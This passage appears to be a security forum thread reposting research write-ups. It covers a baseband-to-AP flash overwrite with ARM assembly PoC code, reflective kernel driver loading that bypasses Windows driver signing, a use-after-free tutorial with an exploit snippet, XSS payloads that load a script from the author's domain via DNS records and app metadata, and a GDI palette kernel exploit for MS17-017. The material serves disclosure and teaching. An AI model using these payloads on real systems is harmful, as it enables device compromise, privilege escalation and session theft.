capabilities by allowing to send arbitrary data from the modem. To receive such data on the AP side, the gsm0710muxd process can be killed and a serial console can be attached to the /dev/ttyC0 device, which gives us complete control over the communication. The execution of the overwritten VTS handler can be triggered on the modem by sending the AT+VTS command on this serial line. Now that all the primitives are explored, it is time to piece the actual proof of concept together. In order to gain code execution on the AP we need to open the /dev/mmcblk0 device on the modem and then seek to roughly where the system partition begins. Next, we search for and overwrite the target binary on the raw partition. It is possible to seek exactly to the offset of the victim executable, but in practice this address can vary between devices so it is not a realistic assumption that it is known a priori. Even without knowing the exact address, the device can be read block-by-block while searching block data for specific binary sequences that ultimately identify our target binary. This process is made easier by the fact that the files always begin on a block boundary so that the offset of the sequence within a block does not change. Once the victim binary file is found it can be overwritten with arbitrary data. The next time it is loaded into memory, our malicious code will be run. I have decided to write the PoC in assembly as the code is fairly small and requires low level interaction with existing functions in the firmware image. The complete source code and the scripts used to patch the image are available here, but the major steps are covered in this blog post. First, the malicious path string is copied to the stack as wide char string using kal_wsprintf. .set FORMAT_STR, 0x7053b5 .set MMCBLK_PATH, 0x7053b8 .set KAL_WSPRINTF, 0x3ba19f @ move the path to stack as wchar mov r0, sp ldr r1, =FORMAT_STR @%s format string ldr r2, =MMCBLK_PATH @ Z:../../../dev/mmclkb0 ldr r6, =KAL_WSPRINTF blx r6 Then the block device is opened with read/write permissions. .set RWO_FLAGS, 0x21010400 .set FS_OPEN, 0x103861 @ open the /dev/mmcblk raw device @ with R/W permissions mov r0, sp @the path string ldr r1, =RWO_FLAGS ldr r6, =FS_OPEN blx r6 @ store the returned handler str r0, [sp] We seek approximately to the beginning of the system partition on the device. .set FS_SEEK, 0x103C39 @ first seek into the middle of mmcblk device @ that is roughly where system starts seek: mov r0, fhl mov r1, #1 lsl r1, #30 mov r2, #1 @0 begin 1 cur ldr r6, =FS_SEEK blx r6 After that, we start reading the device block-by-block and check whether it contains the pattern that identifies the victim. The PoC looks for an 8 character long constant string that I set up for testing. This can be changed to any binary sequence that is unique to the target application (or block). .set FS_READ, 0x103A65 @ keep reading from device until @ the target is found mov r5, #0 read: mov r0, fhl @ file handler mov r1, sp @ read to the stack mov r2, #1 @ 512 bytes = 1 block lsl r2, #9 mov r3, r2 add r3, sp, r3 @ the number of bytes read ldr r6, =FS_READ blx r6 @ check if the read value contains the pattern @ this is oversimplified ldr r2, =CANARY1 ldr r1, [SP] cmp r2, r1 bne isover ldr r2, =CANARY2 ldr r1, [SP, #4] cmp r2, r1 @ if the victim is found we can overwrite it beq write Finally, the beginning of the target file is overwritten with a string. In a real exploit this is where the shell code would be written to the victim binary. .set EVIL, 0x4c495645 .set FS_WRITE, 0x103B55 @ load the payload string "EVIL" ldr r0, =EVIL str r0, [sp] @ and write it mov r0, fhl @ file handler mov r1, sp @ the payload mov r2, #1 lsl r2, #9 @ 512 mov r3, sp add r3, r3, r2 ldr r6, =FS_WRITE blx r6 This solution has a few a caveats. First, it takes considerable amount of time to search the flash memory block-by-block. The PoC takes roughly two hours to finish which is mostly due to the slow inter-chip I/O operations required to read a block. This overhead can be significantly reduced by reading multiple blocks in one request and then searching them in memory. Keeping multiple blocks in memory should not be a problem as the modem has plenty of slack space in RAM (in the range of multiple MB) and alternatively parts of the shared memory could be utilized too. The other concern is that most of the Nucleus tasks run in non-preemptible mode, including the AT command handlers. Therefore, other tasks are starved while the exploit is being executed. This makes the modem non-responsive and locks up its services, which then results in the cellular network not being available on the AP side. This results in no signal and is all but stealthy. This can be circumvented by starting a new task for the exploit, by using the Nucleus API with preemptible priority levels. By overwriting the modem firmware image on the block device this attack can also be leveraged to gain persistence and to turn the baseband into a rootkit. Looking for Entry-level Vulnerabilities I spent the last few weeks of my internship trying to complete the exploit chain by looking for a vulnerability in the baseband firmware. Unfortunately I ran out of time and could not finish the chain. Yet I think the approach I took is worth discussing. The MT6795 sources contain a set of pre-compiled object files in the form static libraries some of which implement the different layers of the cellular stack. The original idea was to try to link one of them with a stub that feeds input to it so it can be fuzzed by AFL. The implementation of the mobility management (MM) layer is a good candidate for fuzzing as it contains many complex parsing functions that are potentially prone to memory corruption errors and the protocol is filled with type-length fields. Spending a little time reverse engineering the firmware image clarifies that the MM layer is set up by calling the mm_init function and then the mm_main function is executed whenever new data arrives to the layer. The mm_main function receives its data in the form of Interlayer Messages (see definition below) that contains a few crucial fields. The msg_type is used to identify which operation the layer should carry out, the content of the local_para_struct (definition) depends on the selected operation while the peer_buff_struct (definition) contains the actual PDU. /* The Interlayer Message structure, which is exchaged between modules. */ typedef struct ilm_struct { module_type src_mod_id; /* Source module ID of the message. */ module_type dest_mod_id; /* Destination module ID of the message. */ sap_type sap_id; /* Service Access Pointer Identifier. */ msg_type msg_id; /* Message identifier */ local_para_struct *local_para_ptr; /* local_para pointer */ peer_buff_struct *peer_buff_ptr; /* peer_buff pointer */ } ilm_struct; Knowing all this we can write a wrapper that calls mm_init, then sets up an ilm_struct from the fuzzer input, and calls mm_main with it. Of course it is not that simple as the MM layer relies on a various Nucleus OS services and other layers. Trying to link our wrapper to libmm.a yields various undefined reference errors. As a first try we can replace all of these undefined references with a simple function stub that prints when it is called and returns. This allows the wrapper to be successfully linked with the library, but obviously it will not function correctly. Now we can begin an iterative process of running the wrapper and stopping when one of our stubs is hit. After that, the original version of the stubbed out function must be reverse engineered to an extent that we can decide which of the following options to take: If the function is not crucial for the operation of the MM layer (e.g. passing the ILM to upper layers) it can be left as a stub (see the sources If the functionality is important, but the actual implementation is not, e.g. because it is not in scope for the fuzzing, the function can be redefined (this is what happens for example with the event scheduler, see sources) If none of the above applies, the pre-compiled library that implements the function can be linked in The third option must be treated extra carefully because each time a new library is linked it pulls in additional dependencies, which can easily lead to an avalanche effect. Using these steps I have managed to get the wrapper to a stable state that can be fuzzed by AFL. The complete code is available here. All of the tools and source snippets introduced in this post are available on Comsecuris’ github: https://github.com/Comsecuris/mtk-baseband-sanctuary. Conclusion The original goal of the research was to achieve a compromise of the application processor operating system of a mobile phone from a compromised modem. To protect from these type of attacks strong isolation between hardware components should be considered when designing platforms. It also must be emphasized that the main operating system and applications running on it, must not blindly trust data coming from the different peripherals. Instead, this kind of data should be treated as attacker controlled. Defending against compromised units is already a complicated task and defending against inherently malicious rogue elements is even harder. Many of these hardware units are accessible through the radio networks (baseband and Wi-Fi chips and now even GPUs through WebGL). They are prime targets for remote exploitation of mobile devices and there are many aspects left to be explored. Further offensive and defensive research is required in this space. Besides making the jump between the chips harder, the security of the modem (and other peripherals) should be improved as well. Not all vendors are equal here, but some generally lack basic exploit mitigations. This significantly reduces the complexity of exploitation and makes up for the additional (reverse) engineering effort required to analyze the firmware. Due to the relentless work of the security community and the constant improvements of its hardening solutions, the cost of exploitation of mobile operating systems has drastically increased over the last few years. This not only makes attacks through deferred routes (such as through the modem) more appealing but might make them economically viable. Sursa: https://comsecuris.com/blog/posts/path_of_least_resistance/
      • 1
      • Upvote
  3. About Reflective Kernel Driver injection is a injection technique base off Reflective DLL injection by Stephen Fewer. The technique bypasses Windows driver signing enforcement (KMCS). Reflective programming is employed to perform the loading of a driver from memory into the kernel. As such the driver is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. Injection works on Windows Vista up to Windows 10, running on x64. An exploit for the Capcom driver is also included as a simple usage example. Overview The process of injecting a driver into the kernel is twofold. Firstly, the driver you wish to inject must be written into the kernel address space. Secondly the driver must be loaded into kernel in such a way that the driver's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. Assuming we have ring0 code execution and the driver we wish to inject has been written into an arbitrary location of memory kernel, Reflective Driver Injection works as follows. Execution is passed, either via PSCreateSystemThread() or a tiny bootstrap shellcode, to the driver's ReflectiveLoader function which is located at the beginning of the driver's code section (typically offset 0x400). As the driver's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. The ReflectiveLoader will then use MmGetSystemRoutineAddress (assumed to be passed in as arg0) to calculate the addresses of six functions required by the loader, namely ExAllocatePoolWithTag, ExFreePoolWithTag, IoCreateDriver, RtlImageDirectoryEntryToData, RtlImageNtHeader, and RtlQueryModuleInformation. The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. The driver's headers and sections are loaded into their new locations in memory. The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. The ReflectiveLoader will then process the newly loaded copy of its image's import table, resolving any module dependencies (assuming they are already loaded into the kernel) and their respective imported function addresses. The ReflectiveLoader will then call IoCreateDriver passing the driver's DriverEntry exported function as the second parameter. The driver has now been successfully loaded into memory. Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via PSCreateSystemThread, the thread will terminate. Build Open the 'Reflective Driver Loading.sln' file in Visual Studio C++ and build the solution in Release mode to make Hadouken.exe and reflective_driver.sys Usage To test load Capcom.sys into the kernel then use the Hadouken.exe to inject reflective_driver.sys into the kernel e.g.: Hadouken reflective_driver.sys Sursa: https://github.com/Professor-plum/Reflective-Driver-Loader
  4. OWASP OWTF is a project focused on penetration testing efficiency and alignment of security tests to security standards like the OWASP Testing Guide (v3 and v4), the OWASP Top 10, PTES and NIST so that pentesters will have more time to See the big picture and think out of the box More efficiently find, verify and combine vulnerabilities Have time to investigate complex vulnerabilities like business logic/architectural flaws or virtual hosting sessions Perform more tactical/targeted fuzzing on seemingly risky areas Demonstrate true impact despite the short timeframes we are typically given to test. The tool is highly configurable and anybody can trivially create simple plugins or add new tests in the configuration files without having any development experience. Note: This tool is however not a silverbullet and will only be as good as the person using it: Understanding and experience will be required to correctly interpret tool output and decide what to investigate further in order to demonstrate impact. Features Resilience: If one tool crashes OWTF, will move on to the next tool/test, saving the partial output of the tool until it crashed. OWTF also allow you to monitor worker processes and estimated plugin runtimes. Flexibile: If your internet connectivity or the target host goes down during an assessment, you can pause the relevant worker processes and resume them later avoiding losing data to little as possible. Tests Separation: OWTF separates its traffic to the target into mainly 3 types of plugins: Passive : No traffic goes to the target Semi Passive : Normal traffic to target Active: Direct vulnerability probing Some features like the passive and semi_passive test separation may also assist pen testers wishing to go the extra mile to get a head start and maybe even legitimately start report writing or preparing attacks before they are given the green light to test. ReST API: OWTF uses PostgreSQL as the database backend. All core OWTF functions and options are exposed through a ReST API making it easy to add new features with little effort. Follows popular pen-testing standards: OWTF will try to classify the findings as closely as possible to the OWASP Testing Guide. It also supports the NIST and the PTES standards. PlugnHack v2 support : PlugnHack is a proposed standard from the Mozilla security team for defining how security tools can interact with browsers in a more useful and usable way. Zest and OWASP-ZAP integration : Zest is an experimental specialized scripting language (domain-specific ) developed by the Mozilla security team and is intended to be used in web oriented security tools. Responsive web interface: OWTF now has a default web interface which integrates all core OWTF options and makes it possible to manage large pentests easily. Interactive report updated on the fly: Automated plugin rankings from the tool output, fully configurable by the user. Configurable risk rankings In-line notes editor for each plugin. Requirements Currently, OWTF is developed and is supported on Linux, with out-of-box support for the Kali Linux (1.x and 2.x). OWTF has been developed for Python 2.7, and therefore it may not run as intended on older Python versions. For more information on third-party library requirements, please refer to the requirements. Installation Recommended: wget -N https://raw.githubusercontent.com/owtf/bootstrap-script/master/bootstrap.sh; bash bootstrap.sh or simply git clone https://github.com/owtf/owtf.git; cd owtf/; python2 install/install.py To run OWTF on Windows or MacOS, use the Dockerfile (requires Docker installed) provided to try OWTF: $ docker build -t owtf-dev . $ docker run -it -p 8009:8009 -p 8008:8008 -p 8010:8010 -v ~/path_to_OWTF_on_host:/owtf owtf-dev /bin/bash Open ~/.owtf/configuration and change SERVER_ADDR: 127.0.0.1 to SERVER_ADDR: 0.0.0.0. Run owtf Open localhost:8009 for OWTF webUI. License Checkout LICENSE Links Project homepage IRC Wiki Slack and join channel #project-owtf User Documentation Youtube channel Slideshare Blog Sursa: https://github.com/owtf/owtf
  5. 2017-07-30: Windows Kernel Debugging livestreams livestream:kernel:windows It's a real pleasure for me to announce that the next four livestreams will feature Artem "honorary_bot" Shishkin (github), who will do an introduction into a long awaited topic of Windows Kernel Debugging. Artem, in his own words, is a fan of Windows RE, debugging and low-level stuff. He's been using WinDbg for kernel debugging for several years now for fun, customizing BSODs, building Windows kernel source tree or boot dependencies graph. Sometimes he might also accidentally discover such things as SMEP bypass on Windows 8 or how to disable PatchGuard in runtime. Being a great fan of Intel and specifically VMX technology he maintains his own bicycle debugger based on a bare metal hypervisor. When: • 2017-08-02 (Wednesday), 8pm CET • 2017-08-03 (Thursday), 8pm CET • 2017-08-09 (Wednesday), 8pm CET • 2017-08-10 (Thursday), 8pm CET Where: My YouTube livestreaming channel: www.youtube.com/c/GynvaelEN/live (or gaming.youtube.com/c/GynvaelEN/live if you prefer darker theme). How to not forget: • Subscribe to the YouTube channel and allow notifications. • Subscribe to Gynvael Hacking Livestreams calendar (also: ICS, calendar ID: pjta7kjkt1ssenq7fi9b6othfg@group.calendar.google.com). Since I expect some technical problems (first time we'll be doing livestreaming with a guest in a remote location) I'll skip the usual news/announcements/mission solutions part of the streams to save some time (I'll probably do a dedicated stream for mission solutions later on). However DO expect new missions after each episode See you Wednesday! Sursa: http://gynvael.coldwind.pl/?id=656
  6. Linux Heap Exploitation Intro Series: Used and Abused – Use After Free Reading time ~9 min Posted by javier on 28 July 2017 Categories: Heap, Heap linux, Pwnage friday, Exploit, Exploitaion, Painless, Ptmalloc2 Intro After analysing the implementation of ptmalloc2 which, is a must read if you don’t know anything about the linux userland heap, I decided that for the second part of it, I would approach it as in a series of blog posts. Why? You might ask. Well it is easy for someone to tackle a problem in bite sized “chunks”. Understanding the heaps can be difficult and each of the techniques to be described in this series takes a decent amount of time to learn, understand and practice. Also, it is easier to find 15 minutes in a day rather than a few hours in a day. Also – hack the system. Please note that it is not needed, but having a rough knowledge of programming and how pointers work in C code is a great shortcut to understand the examples given in this series. The Vulnerability Preface To start this series we are going to cover one specific type of use-after-invalidation vulnerability because of its fame and presence. Going through www.cvedetails.com and searching for two of the most used browsers (Chrome and Firefox) yields many CVE’s involving this specific vulnerability: The use-after-free. Chrome use-after-free vulnerabilities Firefox use-after-free vulnerabilities It is one of the most common vulnerabilities, if not the most, which is involved in heap exploitation, and it is the most likely to end up in arbitrary code execution from an attacker’s perspective.g An example of the fame and wide presence of such vulnerabilities is the very recent CVE-2017-8540 found by Ian Beer @ Google’s Project Zero. What The use-after-free vulnerability is a use-after-invalidation vulnerability[1] where free is the invalid state of use. In human-readable language this means that at some point of the implementation there was a logic flaw that caused a free() on a chunk, but despite being free()’d, its memory position is still referenced, effectively making use of the free’d chunk’s data after it has been set free. The implications of this type of vulnerability, and this is a cliché phrase when talking about heap exploitation, are endless; Pointer dereference leading to arbitrary write-what-where, leaking memory to defeat memory address randomisation (ASLR), dangling pointers, etc. And in some critical cases, pointer dereferences to functions. Let’s see some examples! When stars align To exploit a use-after-free vulnerability the most basic scenario I can think of is the following: 1 – Allocate MALLOC1: First an allocation is done in which we provide our own structure (pointer_malloc1) that has a function pointer allocated in the heap. +---HEAP GROWS UPWARDS | +--- pointer_malloc1->good_function() | +-+-+-+-+-+-+ | | | MALLOC 1 |<--+ | +-----------+ | | TOP | | | | V | | +-----------+ --- WILDERNESS --- 2 – Free MALLOC1: free() the memory occupied by our first MALLOC1. +---HEAP GROWS UPWARDS | +--- pointer_malloc1->good_function() | +-+-+-+-+-+-+ | | | FREE 1 |<--+ | +-----------+ | | TOP | | | | V | | +-----------+ --- WILDERNESS --- 3 – Allocate a malicious chunk MALLOC2 of the same size as MALLOC1: As we know from the previous post, chunks will be allocated by size and so, for our malicious chunk to take the place of old MALLOC1 it has to be of the same size. +---HEAP GROWS UPWARDS | +--- pointer_malloc1->good_function() | +-+-+-+-+-+-+ | | | MALLOC 2 |<--+--- pointer_malloc2->evil_function() | +-----------+ | | TOP | | | | V | | +-----------+ --- WILDERNESS --- 4 – Reference old MALLOC1 (by mistake): Now that we allocated our own payload inside the MALLOC2 we expect the program’s implementation to call pointer_malloc1->good_function() which is actually pointing to our malicious MALLOC2 and so, it will actually call our pointer_malloc2->evil_function() because of the “short circuit” happening at (1). +---HEAP GROWS UPWARDS | +--- pointer_malloc1->good_function() | +-+-+-+-+-+-+ | | | MALLOC 2 |<-(1)-- pointer_malloc2->evil_function() | +-----------+ | | TOP | | | | V | | +-----------+ --- WILDERNESS --- The avid and experienced reader could point out something that my colleague, Saif, pointed out: This is a pointer dereference called dangling-pointer. When the dangling-pointer is then used it becomes a use-after-free. The playground Now on to the fun! Three snippets of code are provided here: Two of them exploiting the lack of security checks on ptmalloc2’s implementation (those security checks are left for the programmer to implement in order to keep ptmalloc2 performance at an acceptable level) and a third one left as a simple exercise for the reader to exploit a use-after-free vulnerable application. Download Playground Code Proof of Concepts Basic UAF 1 Despite the fact that the following code might not be too appealing or realistic, this could happen in a scripting environment where we could cause an use-after-free within a library translating the following code to our target scripting environment (For example, JavaScript). But let’s not dwell into complex stuff yet as simplicity is key to understand the following. In the beginning of the code I have defined a struct which is a composite data type. This means it can contain different types of data within itself, even other structs. In our case we have a simple struct containing a pointer to a function that returns nothing (i.e. returns void). This struct is the one that we will be (ab)using freely, specifically the “vulnfunc” pointer. typedef struct UAFME { void (*vulnfunc)(); } UAFME; Afterwards, we have global definitions for two functions that simply print two strings to the terminal. Our goal is to call bad() without explicitly initialising any pointers to it. void good(){ printf("I AM GOOD :)\n"); } void bad(){ printf("I AM BAD >:|\n"); } The next is an excerpt of main and it involves the allocation in memory of a chunk containing a pointer (1) to a struct of the aforementioned type: UAFME. The vulnfunc of said UAFME struct is set to the good function (2) so that when we call malloc1->vulnfunc(), the good function will be called (3). UAFME *malloc1 = malloc(sizeof(UAFME)); // (1) malloc1->vulnfunc = good; // (2) malloc1->vulnfunc(); // (3) Finally, we arrive to the exploitation part. Due to ptmalloc2 not checking the validity of the memory state of each variable, we can call malloc1->vulnfunc() again (1) even if its pointer has been free()’d (2) and so, it will actually use our malicious allocation (3) that we specifically craft by setting its contents to the pointer of bad() function (4). free(malloc1); // (2) long *malloc2 = malloc(0); // (3) Zero allocation to confuse on purpose *malloc2 = (long)bad; // (4) malloc1->vulnfunc(); // BOOM! (1) Let’s see it in action! As you can see, it does print “I AM BAD >:|” at the end of the execution! This happens because we are using malloc1‘s pointer to call vulnfunc which actually is the pointer to the contents of malloc2. Eeeeviiiil. Basic UAF 2 Now on a little bit more of a realistic scenario but keeping the same implementation, we are introducing a helper allocator function. On some software, programmers implement their own “safe” wrappers on top of malloc to prevent some vulnerabilities such as buffer overflows and unsafe free()s. In our proof of concept, our developer tried to be tidy but, after a tiring day of work and a few hundred lines of code he forgot about something: void helper_call_goodfunc(UAFME *uafme){ UAFME *private_uafme = uafme; private_uafme->vulnfunc = good; private_uafme->vulnfunc(); free(private_uafme); } Can you spot it? Spoiler: The solution is in the comments of the file basic_uaf_2.c. Now you I have put a challenge on 46.101.80.6 on ports 10000 to 10004. The goal is to make the program spit out the flag by using an already free()’d variable. Try it out! nc 46.101.80.6 10000 The flag is in the form: SP{contents_of_the_flag} The first to send in the flag and solution, will earn one of this year’s SensePost t-shirts. Submissions to javier [[at]] sensepost [[.]] com Hints – There is one chunk already allocated at the beginning! – Bear in mind that all addresses are 64bit. This means 8 bytes. – Don’t forget (little) endianness – Chunks are pointers to a pointer to an array of char (string) char ** strchunks[MAXCHUNKS]; – Yes, there is a double-free case but it is not exploitable – Yes and no, if you could leak addresses and knew the offset to libc, you could probably get a shell Happy pwning!!! Further reading [1] Ode to the use-after-free by Chris Evans @ Google Project Zero Sursa: https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-used-and-abused-use-after-free/
      • 1
      • Upvote
  7. The adventures of xss vectors in curious places By Bo0oM 30 July 2017 Blog Hi! I want to tell about a couple of cases when different services were collecting the data but were processing it incorrectly. In some cases the data was presented in secure format, but because of parsing and further processing, an initially harmless string becomes the attack vector. I did it all only for fun – just like the good old days XSS and DNS If you google “XSS via DNS” you can find a couple of articles [1] [2] that describe the passing attack vector in TXT record. But you can create a TXT record in any hosting panel and XSS is there since the creation of this blog. Why no one thought about different types of records – CNAME or NS for example? But if you want to respond with the domain names as an attacking vectors you should create your own NS server. Using the dnschef was a great idea. I used hack.bo0om.ru subdomain (any subdomain would work) and set my ip as name server for it. That’s it. Now we configure dnschef by modifying dnschef.ini, putting there the following: [MX] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> [NS] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> [CNAME] *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> If some service takes DNS data and prints it on the page – there is a possibility that it forgot to sanitize it. Below are examples where XSS works: who.is robtex.com dnsqueries.com etc XSS and Instagram One time I added XSS to my instagram status just for fun. There’s nothing new about it, but it’s worth noting that the vector itself were harmless (on instagram page itself). But the XSS started to work on other domains, it was social network parsers and some analytic services – I saw it my web server logs. Here are some examples: findgram.me imgrab.com instagy.com iconosquare.com tofo.me photo.sh gramosphere.com Some of them already fixed this bugs, but let it be here as it was in the logs. XSS and Google Play @Black2Fan messaged me recently and asked if I had an android app with XSS in Google Play I did not know it was possible! Let’s try it! Maybe it will work (maybe even somewhere in google). So we generated a certificate for the app with XSS vector instead of developer name and other data We had some files with traps and files with path to them that form a valid tag, loading a script from my domain. Reminder – you can use special characters in filename (in linux), for anyone interested – take a look at assets folder. Too bad for you to inject your script in filename you should use a short domain name – there’s a 30 character limit. Unfortunately, we had not have a short domain name ready at hand. Even if all of one or two character domains are already registered – not all is lost yet. In modern web you can use punycode and you can register domain names using it, and there is some free punycode domains left. For example xn--g3h converts to . So I registered a .ws domain (4 symbols including the dot). The app is still available here, but it can get deleted in any moment. First knocks came from the app parsers, most of the traffic is from the following domains: 9apps.co.id 9apps.com allfreeapk.com allfreeapks.com androidapkdescargar.com androidfreeapk.com apk-baixar.com apkandroid.ru apkapps.in apkdl.in apkdroid4x.com apkforwindowsphone.com apkfurpc.com apkherunterladen.com apkindirpc.com apknakomputer.com apkpc.com apkperpcdownload.com apkpure.com apksurpc.com appbrain.com appszoom.com bestfreeapk.com downloadatoz.com freeapkdownloader.com googleplaystoreapks.com ninestore.ru ruapks.com telechargerapkgratuit.com xiaomilatam.net And there also were some app scanners, apk decompilers and some other stuff. One of the examples is HackApp – it searches for vulnerabilities in mobile apps. Our app has found a vulnerability in it (UPD: fixed). But the funniest thing is – after the app has been sent to virustotal, XSS had fired in antivirus vendor panels. Qihoo 360 subdomain— 360 Total Security developer Antiy Labs subdomain — AVL antivirus developer (fancy panel, Jira integration) Both panels are written on PHP and both vendors are from China, most of the data is getting sanitized, but the vector that sends a “screenshot” to my server goes off from time to time. It’s not a bugbounty but fun nonetheless. Translated by @no_kriminality and @Dark_and_knife Sursa: https://bo0om.ru/xss-everywhere
      • 2
      • Upvote
      • Thanks
  8. Abusing GDI Objects for ring0 Primitives Revolution Reading time ~21 min Posted by saif on 29 July 2017 Categories: Analysis, Defcon, Exploit, How-to, Materials, Reversing, Windows Exploiting MS17-017 EoP Using Color Palettes This post is an accompaniment to the Defcon 25 talk given by Saif. One of the core topics of the talk was the release of a new technique GDI object abuse technique, name Palette Objects. Saif presented a previously unreleased Windows 7 SP1 x86 exploit involving the abuse of a newly discovered GDI object abuse technique. A complete white-paper on the topic was released and can be found here: Whitepaper Both exploits discussed in the talk, were also released and the source code of these can be found here: https://github.com/sensepost/gdi-palettes-exp XEPALOBJ – Palette Objects: Palettes specify the colours that can be used in a device context. These are represented in kernel memory by Pool tag Gh?8, Gla8, and have the type name _PALETTE, XEPALOBJ or PALOBJ in Win32k debugging symbols. Since some of the analysed functions reference XEPALOBJ that’s what I decided to go with. The kernel structure is undocumented on MSDN but the x86 version can be found in ReactOS1, and both x86 and x64 versions can be found in Deigo Juarez’s amazing windbg extension GDIObjDump2. A relative memory read/write technique using palettes was mentioned in a 360 Vulcan team talk3 in March 2017. However, to my knowledge the full technique outlined here, including arbitrary memory read/write, has not been fully disclosed before. X86 and X64 PALETTE structure The most interesting members of the XEPALOBJ structure are the cEntries which represent the number of members in the PALETTEENTRY array, and the *pFirstColor, which is a pointer to the first member of the PALETTEENTRY array apalColors located at the end of the structure as seen below. KAlloc The CreatePalette function is used to allocate Palette objects. It takes a LOGPALETTE structure as argument, allocations lower than 0x98 bytes for x86 systems and 0xD8 for x64 bits, gets allocated to the look aside list. CreatePalette Function as described on MSDN tagLOGPALETTE structure as described on MSDN tagPALETTEENTRY structure as described on MSDN KFree To free a Palette object, the DeleteObject function can be used and the handle to Palette is supplied as argument: DeleteObject(HPALETTE) Read Memory Function The GetPaletteEntries function is used to read Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, to the provided buffer lppe. The function is defined as below. GetPaletteEntries Function as described on MSDN Write Memory Function There are two functions that can be used to write Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStart || iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, from the provided buffer lppe. These functions are SetPaletteEntries, and AnimatePalette. SetPaletteEntries Function as described on MSDN AnimatePalette Function as described on MSDN Relative memory read/write cEntries The cEntries member in XEPALOBJ is used to reference the number of Entries in the Palettes apalColors array, if this member was to be overwritten with a larger number then whenever read/write operations happen on the Palette it will read/write beyond the kernel memory allocated for it. Arbitrary memory read/write *pFirstColor All read/write operations by referencing the *pFirstColor, which is the pointer the first entry in the apalColors array, by changing this pointer in a given Palette, it can be used to read/write from any location in kernel memory. Exploitation Scenario Palette objects can be abused the same way as Bitmap objects, by using a Manager Palette whose cEntries, or *pFirstColor members are under our control. To control the *pFirstColor of a second Worker Palette and gain arbitrary kernel memory read/write primitive. The focus will be on the situation where the cEntries of the Manager Palette object can be controlled, by an overflow, to gain a relative memory read/write to the location of the Manager Palette in kernel memory, and use it to overwrite the *pFirstColor of the adjacent Worker Palette object. Technique Restrictions The are some restrictions to using the Palette technique. Firstly, when overflowing the cEntires, the value has to be bigger than 0x26 for x86 systems, and 0x36, since the minimum size allocated for XEPALOBJ is 0x98 for x86 bit systems, and 0xd8 for x64 bit ones, so even if the cEntires is 0x1 if it was overwritten by 0x6 for example, will result in 0x6 * 0x4 = 0x18 which is less than the minimum allocated Palette size. When using the SetPaletteEntries Function to write Entries to memory, the overflow should not overwrite certain members of the XEPALOBJ (hdcHead, ptransOld and ptransCurrent) The user-mode SetPaletteEntries calls NTSetPaletteEntries->GreSetPaletteEntries which has the first restriction on hdcHead member, if this member is set the code path taken will end with an error or BSOD highlighted in Yellow below. Before the code reaches this point the GreSetPaletteEntries will call XEPALOBJ::ulSetEntries, which checks the pTransCurrent and pTransOld members and if they are set, a code path will be taken that will AND the values pointed by them with 0 blocks, in orange colours, although if these locations were allocated then this checks shouldn’t result in BSOD. The only restriction on setting Palette’s using the AnimatePalettes user-mode function, is that the most significant byte of the memory location pointed to by *pFirstColor has to be an ODD value, this proved challenging on x64 bit systems, but not so much on x86 ones, as shown in XEPALOBJ::ulAnimatePalette below. Although this will not result in BSOD but will error out without writing the new value to the memory location. MS17-017 Win32k!EngRealizeBrush Integer Overflow leading to OOB Pool Write: Now that I’ve outlined Palette objects and how they can be abused, let’s use the new technique in an exploit. Understanding the Bug Last march Microsoft released a patch, which fixed a privilege escalation vulnerability affecting the GDI kernel sub system. The patched function was Win32k!EngRealizeBrush. As we all know, the March patch fixed allot of other more critical vulnerabilities used by “Shadow Brokers”, however, while everyone was analysing the SMB vulnerabilities, I got busy analysing the privilege escalation bug. A diff of the code paths, pre and post patch. On the left is the patched function in Win32k.sys, comparing it to the unpatched version on the right. It was only obvious that there was an Integer overflow issue because of several integer verification functions such as ULonglongtoUlong, and others down the code. Even though the screenshot couldn’t fit the whole patch, I found it easier to just look at the un-patched function in IDA and try to determine what the issue was, and how it can be exploited. Triggering the Overflow The Win32k!EngRealizeBrush function, can be reached by using the PatBlt function to draw an area, with the created palette using the brush selected into the current graphics device context. When creating the palette using solid or hatched brushes, it was noticed that the value that can be overflown was always 0x100 on my system, however when utilising a pattern based brush, the value was controlled. HBITMAP bitmap = CreateBitmap(0x5a1f, 0x5a1f, 1, 1, NULL); HBRUSH hbrBkgnd = CreatePatternBrush(bitmap); PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY); The value at EDI at the time, would be the bitmap.width member of the bitmap used with the pattern brush, a step-by-step of the calculations performed is as follows. x = Bitmap.width * 20 (ecx = 20 and its based of the HDC->bitmap.bitsperpixel) x = x / 2^3 y = x * bitmap.height result = y + 0x44 Then value of result is added to 0x40 and passed as the size parameter to the allocation function. Since the values of bitmap.width and bitmap.height can be controlled, it’s just a matter of finding the right combination, which would result in an overflow. The value we are aiming to get after the overflow is 0x10 (explained later). For an overflown integer to be of that value the results of the calculations in reality must be equal to 0x100000010. 0x100000010 – 0x44 – 0x40 = 0xFFFFFF8C A factor of an integer is used to find which two numbers, when multiplied together will result in that integer. One of the factors of 0xFFFFFF8C are 0x8c (140) and 0x30678337 (0x1d41d41) The value of the bitmap.width after the calculation should be 0x8c, (0x8c * 0x8)/0x20 = 0x23 Using the following bitmap as the pattern brush source, we would overflow the value when its added to 0x40 and 0x44 to result in 0x10 allocation. HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL); After the allocation, the function would try to write to certain offsets of the allocated object, as shown below. If the allocation is below 0x30 bytes in size the write to [esi+0x3C] would result in an out-of-bounds OOB write to that location. Stars Alignment Remember the 0x10 value? The reason for choosing that specific value is for stars aligning, the object of choice to be overflown would be a bitmap object, to overwrite its height member, and gain a relative memory read/write primitive. The 32-bit _SURFOBJ has the height member at offset 0x14: Allocated object size (0x10) + 